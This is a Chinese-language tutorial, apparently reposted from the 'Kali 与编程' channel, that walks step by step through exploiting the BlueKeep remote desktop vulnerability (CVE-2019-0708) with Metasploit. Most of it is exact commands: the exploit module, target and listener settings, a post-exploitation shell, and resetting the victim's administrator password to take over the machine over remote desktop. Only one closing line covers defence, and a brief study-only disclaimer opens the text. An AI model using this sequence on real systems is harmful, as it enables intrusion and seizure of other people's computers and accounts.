注册
登录
| 关键词： 下图 命令 受害者 远程 主机 漏洞 登录 信息 桌面 攻击 |
一、课前声明： 1、本分享仅做学习交流，请自觉遵守法律法规！ 2、搜索：Kali 与编程，学习更多网络攻防干货！ 3、Kali 与编程每天准时更新，敬请学习和关注！ 二、战略安排 2.1 打开Metasploit渗透框架，如下如所示。 命令：msfconsole  2.2 检索有关远程桌面的已知漏洞，如下图所示。 命令：search 0708  2.3 使用检索到的关于远程桌面的漏洞利用模块，如下图所示。 命令：use exploit/windows/rdp/cve_2019_0708_bluekeep_rce  2.4 查看攻击目标需要设置的参数，如下图所示。 命令：show targets  2.5 设置相关攻击参数，如下图所示。 命令：set rhosts 192.168.0.106 set lhost 192.168.0.102 set target 4   2.6 执行漏洞攻击模块，如下图所示。 命令：run   2.7 利用建立起来的会话查看受害者主机系统的相关信息，如下图所示。 命令：sysinfo  2.8 利用建立起来的会话查看受害者主机系统的相关信息，如下图所示。 命令：ipconfig  2.9 查看会话命令帮助信息，如下图所示。 命令：?  2.10 进入受害者主机cmd界面并解决乱码问题，如下图所示。 命令：shell chnp 65001  2.11 利用“whoami”命令查看相关信息，如下图所示。 命令;whoami  2.12 利用cmd命令在受害者主机创建一个新用户，如下图所示。 命令：net user administrator 123456  2.13 利用图形化远程桌面登录工具登录受害者主机，如下图所示。    2.14 成功利用图形化远程登录工具拿下目标主机，如下图所示。  2.15 远程桌面漏洞防护措施，如下图所示（关闭远程桌面登录服务、开启防火墙、安装第三方电脑管家等等）。      辛苦原创，你的每一次评论点赞和关注，都是我们源源不断的创作动力哦！你也可搜索:Kali 与编程，学习更多 Kali Linux 渗透与白帽编程技巧呢！ |
| 本文出处： https://baijiahao.baidu.com/s?id=1680345932599228823 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
